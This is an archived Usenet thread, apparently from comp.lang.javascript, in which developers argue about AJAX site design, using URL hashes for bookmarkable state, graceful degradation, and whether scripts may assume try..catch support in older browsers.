the benefits that it can give. And in order to take maximum advantage of
the benefits you have to redesign and rethink the entire website
strategy from the ground up rather than trying to integrate the two
together. It is either an AJAX site or it isn't, there is no in between
with it.
David Mark
> On Dec 17, 5:30 am, David Mark <dmark.cins...@gmail.com> wrote:
>
> > On Dec 17, 1:12 am, Randy Webb <HikksNotAtH...@aol.com> wrote:
>
> [snip]
>
> > > And that is part of the problem with the current state of AJAX
> > > applications. Just dumping code in and hoping it works just to be able
> > > to say "Yeah, its an AJAX site. We know it is crap, it doesn't work
> > > right in half the world, and it is grossly inefficient, but, IT'S AJAX!!".
>
> > Thanks to widespread abuse by incompetent developers, Ajax may be the
> > worst thing that ever happened to the Web. I particularly dislike
> > sites that use Ajax/innerHTML for page navigation. When the
> > developers of such sites find out that they broke the browser
> > navigation buttons, rather than seeing that they made a mistake, they
> > add bogus hashes and timers to compensate. Then they find out that
> > their inline scripts don't work, requiring additional insane
> > workarounds (as you are well aware.)
>
> Using the hash to make bookmark friendly URLs can be a very good user
I disagree. It isn't what the hash is for and requires constant
polling of the window's location to keep navigation in sync.
> experience, in my opinion. Technically there is a flaw that in some
> browsers the page may reload. This is actually the case in some
> versions of Safari. However I think the idea of using the hash this
> way is great in a page like <URL:http://maps.yahoo.com> when dragging
> the map around.
The state of a map image on a page isn't really a bookmark. It seems
counter-intuitive to use a bookmark to persist it. There are
certainly other options, especially for an Ajax app.
David Mark
Right. You created your own interface, which makes more sense than
trying to force the browser's navigation system to handle persistence
within the pages.
> on that submits the hidden form to the server. The server then saves the
> information into a database and returns a page to the user with a URL
> with a hash that is associated with the database entry. Since 99% of
> what is done on the Intranet is time critical, no DB entry is left for
> more than 30 days. It gets purged. On average, with 100,000+ terminals,
> the DB has around 500,000 entries in it.
>
> The #1 complaint the first thirty days after we implemented it? "That is
> too much trouble".
Complaint from whom? The DB admins?
>
> The #1 request after six months of using the system? "Can you do that
> for websites as well?". Now, we are working on the same type of system
> to run as part of the proxy system to insert the hidden form into any
> website page for Favorites use.
>
> And, Favorites is one of the sticking issues with converting the entire
> company website to a .js file driven system. How well the proxy system
> works will give me a pretty fair indication of well it will potentially
> work on the website.
>
> As for AJAX, I think the future of it depends on whether people keep
> crutching it or finally realize that in order for it to work and give
> the benefits that it can give. And in order to take maximum advantage of
> the benefits you have to redesign and rethink the entire website
> strategy from the ground up rather than trying to integrate the two
> together. It is either an AJAX site or it isn't, there is no in between
> with it.
>
If you want to eliminate all traditional page navigation (which seems
like a silly idea) then that is true. However, Ajax enhancements
(e.g. form validation, auto-suggestion, etc.) can be added easily
enough to standard sites.
Peter Michaux
> On Dec 18, 12:30 am, Peter Michaux <petermich...@gmail.com> wrote:
>
>
>
> > On Dec 17, 5:30 am, David Mark <dmark.cins...@gmail.com> wrote:
>
> > > On Dec 17, 1:12 am, Randy Webb <HikksNotAtH...@aol.com> wrote:
>
> > [snip]
>
> > > > And that is part of the problem with the current state of AJAX
> > > > applications. Just dumping code in and hoping it works just to be able
> > > > to say "Yeah, its an AJAX site. We know it is crap, it doesn't work
> > > > right in half the world, and it is grossly inefficient, but, IT'S AJAX!!".
>
> > > Thanks to widespread abuse by incompetent developers, Ajax may be the
> > > worst thing that ever happened to the Web. I particularly dislike
> > > sites that use Ajax/innerHTML for page navigation. When the
> > > developers of such sites find out that they broke the browser
> > > navigation buttons, rather than seeing that they made a mistake, they
> > > add bogus hashes and timers to compensate. Then they find out that
> > > their inline scripts don't work, requiring additional insane
> > > workarounds (as you are well aware.)
>
> > Using the hash to make bookmark friendly URLs can be a very good user
>
> I disagree. It isn't what the hash is for
What is it for officially?
> and requires constant
> polling of the window's location to keep navigation in sync.
Yes it does. That is not so bad as it is an isolated bit of code with
a handler. I actually thought it was an appealing bit of code. It
would be better if there was a window.location.onchange handler,
however.
> > experience, in my opinion. Technically there is a flaw that in some
> > browsers the page may reload. This is actually the case in some
> > versions of Safari. However I think the idea of using the hash this
> > way is great in a page like <URL:http://maps.yahoo.com> when dragging
> > the map around.
>
> The state of a map image on a page isn't really a bookmark. It seems
> counter-intuitive to use a bookmark to persist it.
It is great to be able to email someone a map at the right location.
> There are
> certainly other options, especially for an Ajax app.
I know that there can be a "get permalink" link but that really does
the same thing and could easily be missed by a user.
Having the URL represent the state of the page at any time seems very
intuitive to me.
Peter
David Mark
> On Dec 18, 5:56 am, David Mark <dmark.cins...@gmail.com> wrote:
>
>
>
>
>
> > On Dec 18, 12:30 am, Peter Michaux <petermich...@gmail.com> wrote:
>
> > > On Dec 17, 5:30 am, David Mark <dmark.cins...@gmail.com> wrote:
>
> > > > On Dec 17, 1:12 am, Randy Webb <HikksNotAtH...@aol.com> wrote:
>
> > > [snip]
>
> > > > > And that is part of the problem with the current state of AJAX
> > > > > applications. Just dumping code in and hoping it works just to be able
> > > > > to say "Yeah, its an AJAX site. We know it is crap, it doesn't work
> > > > > right in half the world, and it is grossly inefficient, but, IT'S AJAX!!".
>
> > > > Thanks to widespread abuse by incompetent developers, Ajax may be the
> > > > worst thing that ever happened to the Web. I particularly dislike
> > > > sites that use Ajax/innerHTML for page navigation. When the
> > > > developers of such sites find out that they broke the browser
> > > > navigation buttons, rather than seeing that they made a mistake, they
> > > > add bogus hashes and timers to compensate. Then they find out that
> > > > their inline scripts don't work, requiring additional insane
> > > > workarounds (as you are well aware.)
>
> > > Using the hash to make bookmark friendly URLs can be a very good user
>
> > I disagree. It isn't what the hash is for
>
> What is it for officially?
>
For navigating to bookmark anchors. These represent static locations
within documents, not scripted user customizations or states of Flash
movies.
> > and requires constant
> > polling of the window's location to keep navigation in sync.
>
> Yes it does. That is not so bad as it is an isolated bit of code with
> a handler. I actually thought it was an appealing bit of code. It
> would be better if there was a window.location.onchange handler,
> however.
>
> > > experience, in my opinion. Technically there is a flaw that in some
> > > browsers the page may reload. This is actually the case in some
> > > versions of Safari. However I think the idea of using the hash this
> > > way is great in a page like <URL:http://maps.yahoo.com> when dragging
> > > the map around.
>
> > The state of a map image on a page isn't really a bookmark. It seems
> > counter-intuitive to use a bookmark to persist it.
>
> It is great to be able to email someone a map at the right location.
Use the query portion of the URI, leaving the hash open to point to a
bookmark within the customized view of the document.
>
> > There are
> > certainly other options, especially for an Ajax app.
>
> I know that there can be a "get permalink" link but that really does
> the same thing and could easily be missed by a user.
I don't see what permalinks have to do with it, except that they
typically redirect to locations with hashes.
>
> Having the URL represent the state of the page at any time seems very
> intuitive to me.
>
Query yes, hash no.
Randy Webb
It is just about the only way to be able to bookmark a dynamic page and
be able to return it back to the state and do it reliably.
>> on that submits the hidden form to the server. The server then saves the
>> information into a database and returns a page to the user with a URL
>> with a hash that is associated with the database entry. Since 99% of
>> what is done on the Intranet is time critical, no DB entry is left for
>> more than 30 days. It gets purged. On average, with 100,000+ terminals,
>> the DB has around 500,000 entries in it.
>>
>> The #1 complaint the first thirty days after we implemented it? "That is
>> too much trouble".
>
> Complaint from whom? The DB admins?
The users. "Why can't I just right-click>Add to Favorites like I used to
do it?" We actually ended up going to every location and explaining how
to use it. The ones that wanted to know more we taught how the system
works on the back end. I had upwards of 10,000 complaints that first
thirty days.
>> The #1 request after six months of using the system? "Can you do that
>> for websites as well?". Now, we are working on the same type of system
>> to run as part of the proxy system to insert the hidden form into any
>> website page for Favorites use.
>>
>> And, Favorites is one of the sticking issues with converting the entire
>> company website to a .js file driven system. How well the proxy system
>> works will give me a pretty fair indication of well it will potentially
>> work on the website.
>>
>> As for AJAX, I think the future of it depends on whether people keep
>> crutching it or finally realize that in order for it to work and give
>> the benefits that it can give. And in order to take maximum advantage of
>> the benefits you have to redesign and rethink the entire website
>> strategy from the ground up rather than trying to integrate the two
>> together. It is either an AJAX site or it isn't, there is no in between
>> with it.
>>
>
> If you want to eliminate all traditional page navigation (which seems
> like a silly idea) then that is true.
How you navigate through a system depends on how the system functions.
The application that uses .js files has very little "traditional
navigation" as most of it is done dynamically. It does have some basic
navigation to get from one area to another (say from accounts receivable
to time clock). It is one of the things that has to be dealt with.
Whether you want to deal with a navigation issue for the benefits of a
dynamic site. It is a trade off and every situation is different and you
have to deal with them one at a time.
> However, Ajax enhancements (e.g. form validation, auto-suggestion, etc.)
> can be added easily enough to standard sites.
Other than possibly looking something up in a database, I don't see
where form validation using AJAX is of any benefit. Meaning, if you are
going to send it to the server you may as well just submit the form.
Auto-suggestion was something I looked at when Google first did it and
found it very annoying so I lost interest in it.
Peter Michaux
> As for AJAX, I think the future of it depends on whether people keep
> crutching it or finally realize that in order for it to work and give
> the benefits that it can give. And in order to take maximum advantage of
> the benefits you have to redesign and rethink the entire website
> strategy from the ground up rather than trying to integrate the two
> together. It is either an AJAX site or it isn't, there is no in between
> with it.
I think this is why Gmail uses a gateway script. They test the
browsers features to see if it can use the full-featured version of
Gmail. If the browser can't the user is sent to a primative version of
Gmail. Rather than worrying that each page in the site degrades
gracefully, the entire site degrades gracefully. (Disclaimer: I'm
writing about the concept of graceful site degradation with Gmail as
an example and not about the quality of the JavaScript used by Gmail.)
Peter Michaux
> David Mark said the following on 12/18/2007 9:07 AM:
> Auto-suggestion was something I looked at when Google first did it and
> found it very annoying so I lost interest in it.
Yeah but I only know how to spell this much
"anna ko"
Randy Webb
> On Dec 18, 3:01 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
>> David Mark said the following on 12/18/2007 9:07 AM:
>
>> Auto-suggestion was something I looked at when Google first did it and
>> found it very annoying so I lost interest in it.
>
> Yeah but I only know how to spell this much
>
> "anna ko"
I have had Google auto-suggest disabled for so long I don't even
remember how to enable/disable it. If I type it wrong, then Google puts
this nice little link at the top of the search results "Did you mean
.......".
It would work for a spell-checker, I just never had any real interest in it.
David Mark
Speaking of Google and graceful degradation (again), I set up an
AdSense account recently and what an adventure that was.
First there was the script error every time I clicked or focused a
form field. As I have debugging turned on, the resulting message
boxes ("style is not an object") made it impossible to complete the
form. So I turned off scripting (should have known better and turned
off debugging instead.) I made it all the way through a lengthy form,
hit submit and was presented with a page that mentioned something
about going forward, but only had a "back" button. (!) Switching to
FIreFox (and starting all over), I found that the "next" button was
generated by script. (!!)
You'd think that Google would at least use competent developers for
pages that are designed to bring in money. I guess they don't have
any.
Thomas 'PointedEars' Lahn
> On Dec 16, 11:13 am, Thomas 'PointedEars' Lahn <PointedE...@web.de>
> wrote:
>> Peter Michaux wrote:
>>> [...] Thomas 'PointedEars' Lahn [...] wrote:
>>>> Peter Michaux wrote:
>>>>> [...] Thomas 'PointedEars' Lahn [...] wrote:
>>>>>> Peter Michaux wrote:
> I think the specification is contradictory. Section 8.6.2 starts by
> stressing the internal methods are "purely for expository purposes" and
> that an "implementation of ECMAScript must behave as if it produced and
> operate on internal properties..." then they are *clearly* implying that
> the internals of the implementation can be coded any way the implementor
> wishes to. Then to later say that "Every object (including host objects)
> must implement [certain internal methods]" is a contradiction. My
> interpretation is that the spec writers intended to write "Every object
> (including host objects) must behave as though it implements [certain
> internal properties and methods]". That is consistent with the beginning
> of 8.6.2.
I don't see the contradiction. And to speculate about the intention of the
spec writers is pointless.
>>>>> They need to behave as though the implement [[Get]].
>>>> That is a matter of interpretation.
>>> No. Read the third sentence of 8.6.2.
>> Read 8.6.2 yourself, again. And this time you should read the most
>> recent revision.
>
> I have 3rd ed December 1999.
"Final", the most recent revision of ECMA-262 Edition 3, is dated 2000-03-24
CE. It is available as PDF and MSWord 6.0 document from mozilla.org, maybe
for ECMA members via ftp.ecma.ch as mentioned at the end of the
specification, and can probably ordered as printed copy from ECMA, 114 Rue
du Rhône, CH-1204 Geneva, Switzerland (ibid).
>>>>>> but they do not need to implement it in the way that is defined
>>>>>> in the ECMAScript Specification. IOW, they may throw an
>>>>>> exception as well.
>>>>> True. This suggests wrapping the feature testing in try-catch is
>>>>> a good idea, if the desired behavior is to avoid thrown errors
>>>>> being visible to the user.
>>>> Hardly. try..catch may throw its own errors for the UAs where
>>>> feature-testing would prevent all errors there otherwise.
>>> try-catch may throw syntax errors in non-compliant browsers and in a
>>> practical sense all old browsers.
>> Maybe you should stop constraining the use of ECMAScript applications
>> to browsers.
>
> I program for browsers and the code under discussion is for browsers.
It should be for all HTML UAs.
>> However, it will break in any UA that has a script engine that does not
>> implement try..catch.
>
> That is an engine that is non-compliant with ES3 or even trying to be
> compliant with ES3. I'm not programming for those. Those go down the
> degradation path. This is not a substantial loss given the proportion of
> users with browsers that do not have try-catch. If you are programming
> for implementations that are not ES3 compliant or at least trying to be
> ES3 compliant then there is no use quoting from the ES3 spec.
I don't agree with your argumentation as it makes assumptions about the
use of HTML UAs that cannot be substantiated because there is never enough
representative evidence. I would like to coin that the Web Statistics Fallacy.
>> Whether that UA is "old" is irrelevant.
>
> If it is old, unpopular, and unlikely to regain popularity then it is
> relevant.
There is no coercive relation between the age of a UA and the features it
supports.
>> Exception handling was among the newest language features that were
>> implemented. It can not be expected to be supported.
>
> I think it can be expected to be supported. This is another "where to
> draw the line" issues. In rare cases the try-catch will cause one syntax
> error and the page will fall back to plain HTML.
You fail to provide proof for that assumption because it can never be
substantiated.
> That is a sufficiently good user experience for rare users with browsers
> that don't comply with an 8 year old standard.
I will not agree with a statement that says throwing error messages at users
that they do not understand and cannot necessarily do anything against that
would be OK. Especially not when that argument is made in favor of a code
library. If you keep arguing like that, you have an active opposer of your
project here, as it would employ and support bad coding practices.
PointedEars
--
var bugRiddenCrashPronePieceOfJunk = (
navigator.userAgent.indexOf('MSIE 5') != -1
&& navigator.userAgent.indexOf('Mac') != -1
) // Plone, register_function.js:16
Randy Webb
> Peter Michaux wrote:
>> On Dec 16, 11:13 am, Thomas 'PointedEars' Lahn <PointedE...@web.de>
>> wrote:
<snip>
>>> However, it will break in any UA that has a script engine that does not
>>> implement try..catch.
>> That is an engine that is non-compliant with ES3 or even trying to be
>> compliant with ES3. I'm not programming for those. Those go down the
>> degradation path. This is not a substantial loss given the proportion of
>> users with browsers that do not have try-catch. If you are programming
>> for implementations that are not ES3 compliant or at least trying to be
>> ES3 compliant then there is no use quoting from the ES3 spec.
>
> I don't agree with your argumentation as it makes assumptions about the
> use of HTML UAs that cannot be substantiated because there is never enough
> representative evidence. I would like to coin that the Web Statistics Fallacy.
You can't prove otherwise either. Makes your argument just as weak.
<snip>
>>> Exception handling was among the newest language features that were
>>> implemented. It can not be expected to be supported.
>> I think it can be expected to be supported. This is another "where to
>> draw the line" issues. In rare cases the try-catch will cause one syntax
>> error and the page will fall back to plain HTML.
>
> You fail to provide proof for that assumption because it can never be
> substantiated.
You can't prove otherwise either. Makes your argument just as weak.
Peter Michaux
wrote:
> Peter Michaux wrote:
[snip]
> > I think it can be expected to be supported. This is another "where to
> > draw the line" issues. In rare cases the try-catch will cause one syntax
> > error and the page will fall back to plain HTML.
>
> You fail to provide proof for that assumption because it can never be
> substantiated.
>
> > That is a sufficiently good user experience for rare users with browsers
> > that don't comply with an 8 year old standard.
>
> I will not agree with a statement that says throwing error messages at users
> that they do not understand and cannot necessarily do anything against that
> would be OK.
So do you limit your syntax to the only the syntax valid in the very
first JavaScript enabled browser?
Thomas 'PointedEars' Lahn
I have said where I draw the line: I won't test for `typeof' anymore because
that would involve evil[tm] eval() at no advantage -- `typeof' is needed for
feature tests. Consequently, I draw the line at what JavaScript 1.1 and
JScript 1.0 introduce, and what ECMAScript Edition 1 specifies.
PointedEars
--
Anyone who slaps a 'this page is best viewed with Browser X' label on
a Web page appears to be yearning for the bad old days, before the Web,
when you had very little chance of reading a document written on another
computer, another word processor, or another network. -- Tim Berners-Lee
Peter Michaux
wrote:
> Peter Michaux wrote:
[snip]
> > So do you limit your syntax to the only the syntax valid in the very
> > first JavaScript enabled browser?
>
> I have said where I draw the line: I won't test for `typeof' anymore because
> that would involve evil[tm] eval() at no advantage -- `typeof' is needed for
> feature tests. Consequently, I draw the line at what JavaScript 1.1 and
> JScript 1.0 introduce, and what ECMAScript Edition 1 specifies.
We now know that your scripts will have syntax and runtime errors in
at least some known browsers as you assume some syntax and language
and host features (although you may start testing for all host
features). It seems that you are ok with this and presumably judge
your scripts to be of sufficient quality: perhaps even good and/or
professional quality. Perhaps you are satisfied with your decision
because the standards that must be supported to avoid the errors your
scripts will throw are old enough? Or the UAs known to have problems
are unpopular enough? or old enough? You've stated that UA age and
supported features are not necessarily related (you used the word
"coercive" and I don't quite see how that works but that is ok.) Given
you assume old syntax and features and criticised using try-catch as
it is new syntax, I don't know how you discard age from the decision
making process. How do you justify where you've drawn your line? What
makes this location a better place than where others draw their lines?
Do you believe you have made a better decision in some absolute or
objective sense?
I don't understand is how you can criticize someone for drawing a
different line for assumed/tested syntax/features for syntax/features
that have been standardized and widely implemented for many years and
even supported by legacy browsers released almost eight years ago. My
line and your line are both much further in the past than many other
developer's lines. We are all in a grey area but you seem convinced
you have made a superior choice and have justification to criticize
others almost as though they couldn't possibly have any brains at all
or even have considered the problem thoroughly given where they draw
their lines.
I suppose you could just say "I'm comfortable with my line being drawn
there" but that does not give you justification for criticizing others
who draw lines elsewhere. A more concrete foundation for your
criticism to be built upon would give your criticism more weight. As
it stands, your position can only be subjectively judged as better by
supporting some but not all very old, unpopular browsers or even
judged as worse as your resulting code is bigger.
Randy Webb
<snip>
> Do you believe you have made a better decision in some absolute or
> objective sense?
Based on his past posts, there are two ways to do things for Thomas. His
way and the wrong way.
Nice post, btw.
Thomas 'PointedEars' Lahn
> [...] Thomas 'PointedEars' Lahn [...] wrote:
>> Peter Michaux wrote:
>>> first JavaScript enabled browser?
>> I have said where I draw the line: I won't test for `typeof' anymore because
>> that would involve evil[tm] eval() at no advantage -- `typeof' is needed for
>> feature tests. Consequently, I draw the line at what JavaScript 1.1 and
>> JScript 1.0 introduce, and what ECMAScript Edition 1 specifies.
>
> We now know that your scripts will have syntax and runtime errors in
> at least some known browsers
Given the conditions described above, that would be Netscape 2.0.
> as you assume some syntax and language and host features (although you may
> start testing for all host features).
It would appear that you are unable to make the difference between language
syntax features and features provided by the host environment.
Peter Michaux
wrote:
> Peter Michaux wrote:
> > [...] Thomas 'PointedEars' Lahn [...] wrote:
> >> Peter Michaux wrote:
> >>> So do you limit your syntax to the only the syntax valid in the very
> >>> first JavaScript enabled browser?
> >> I have said where I draw the line: I won't test for `typeof' anymore because
> >> that would involve evil[tm] eval() at no advantage -- `typeof' is needed for
> >> feature tests. Consequently, I draw the line at what JavaScript 1.1 and
> >> JScript 1.0 introduce, and what ECMAScript Edition 1 specifies.
>
> > We now know that your scripts will have syntax and runtime errors in
> > at least some known browsers
>
> Given the conditions described above, that would be Netscape 2.0.
>
> > as you assume some syntax and language and host features (although you may
> > start testing for all host features).
>
> It would appear that you are unable to make the difference between language
> syntax features and features provided by the host environment.
I'm not sure why you would write that. I think I understand the
difference between language syntax, language features and host
features in the context we have been discussing them.
You've avoided all of my questions[1] about how you justify your
decisions about which syntax and features to assume even though they
will cause your scripts to throw errors. You criticized me for exactly
this[2]. This is the destination of our long conversation and a very
interesting piece of browser script design. Your avoidance can only
indicate your acknowledgment that you do not have an objectively
superior platform from which to make your criticisms of other's
decisions. You have an arbitrarily drawn a line (based on browser age
or unpopularity?) just like everyone else and your line may be
subjectively better or worse than other's lines. Given that you are in
the same boat as those you criticize, it follows that you have been
criticizing yourself quite harshly too.
[1] <URL: http://groups.google.com/group/comp.lang.javascript/msg/0198173dfa45d4fb>
[2] <URL: http://groups.google.com/group/comp.lang.javascript/msg/6895c0517d83bcac>
Thomas 'PointedEars' Lahn
> [...] Thomas 'PointedEars' Lahn [...] wrote:
>> Peter Michaux wrote:
>>> [...] Thomas 'PointedEars' Lahn [...] wrote:
>>>> Peter Michaux wrote:
>>>>> So do you limit your syntax to the only the syntax valid in the very
>>>>> first JavaScript enabled browser?
>>>> I have said where I draw the line: I won't test for `typeof' anymore because
>>>> that would involve evil[tm] eval() at no advantage -- `typeof' is needed for
>>>> feature tests. Consequently, I draw the line at what JavaScript 1.1 and
>>>> JScript 1.0 introduce, and what ECMAScript Edition 1 specifies.
>>> We now know that your scripts will have syntax and runtime errors in
>>> at least some known browsers
>> Given the conditions described above, that would be Netscape 2.0.
>>
>>> as you assume some syntax and language and host features (although you may
>>> start testing for all host features).
>> It would appear that you are unable to make the difference between language
>> syntax features and features provided by the host environment.
>
> I'm not sure why you would write that. I think I understand the
> difference between language syntax, language features and host
> features in the context we have been discussing them.
Apparently you do *not* recognize that language syntax can only be maybe
feature-tested with eval() while language features and other features
provided by the host environment do not require this but they require at
least `typeof' in order not to be the least error-prone. You do *not*
recognize that the line that has to be drawn for the former may very well
differ from the line that would be drawn for the latter. And you do *not*
recognize that user agents that support client-side scripting but with a
script engine that does not support the aforementioned language syntax
feature are virtually extinct, not because of their apparent age, but
because of their apparent inadequacy towards today's *no-script* Web
content, computer hardware and software.
> You've avoided all of my questions[1] about how you justify your
> decisions about which syntax and features to assume even though they
> will cause your scripts to throw errors. You criticized me for exactly
> this[2]. This is the destination of our long conversation and a very
> interesting piece of browser script design. Your avoidance can only
> indicate your acknowledgment that you do not have an objectively
> superior platform [...]
Believe what you wish. My avoidance of answering your questions exactly as
that would deny your repeated falling victim to the Many Questions Fallacy
indicates nothing but your continued arguing in an irrational way.
EOD
PointedEars
--
"Use any version of Microsoft Frontpage to create your site. (This won't
prevent people from viewing your source, but no one will want to steal it.)"
-- from <http://www.vortex-webdesign.com/help/hidesource.htm>
Peter Michaux
wrote:
> Peter Michaux wrote:
> > [...] Thomas 'PointedEars' Lahn [...] wrote:
> >> Peter Michaux wrote:
> >>> [...] Thomas 'PointedEars' Lahn [...] wrote:
> >>>> Peter Michaux wrote:
[snip]
> >> It would appear that you are unable to make the difference between language
> >> syntax features and features provided by the host environment.
>
> > I'm not sure why you would write that. I think I understand the
> > difference between language syntax, language features and host
> > features in the context we have been discussing them.
>
> Apparently you do *not* recognize that language syntax can only be maybe
> feature-tested with eval() while language features and other features
> provided by the host environment do not require this but they require at
> least `typeof' in order not to be the least error-prone.
I understand that.
> You do *not*
> recognize that the line that has to be drawn for the former may very well
> differ from the line that would be drawn for the latter.
Yes they are different lines.
> And you do *not*
> recognize that user agents that support client-side scripting but with a
> script engine that does not support the aforementioned language syntax
> feature are virtually extinct, not because of their apparent age, but
> because of their apparent inadequacy towards today's *no-script* Web
> content, computer hardware and software.
So you've decided that it is their lack of popularity that makes them
irrelevant and acceptable casualties. I think NN4 and IE4 are
irrelevant for exactly this reason. My choice to use try-catch is
similar to your choice to use typeof. We just have drawn our lines in
slightly different places with neither place being objectively better
than the other.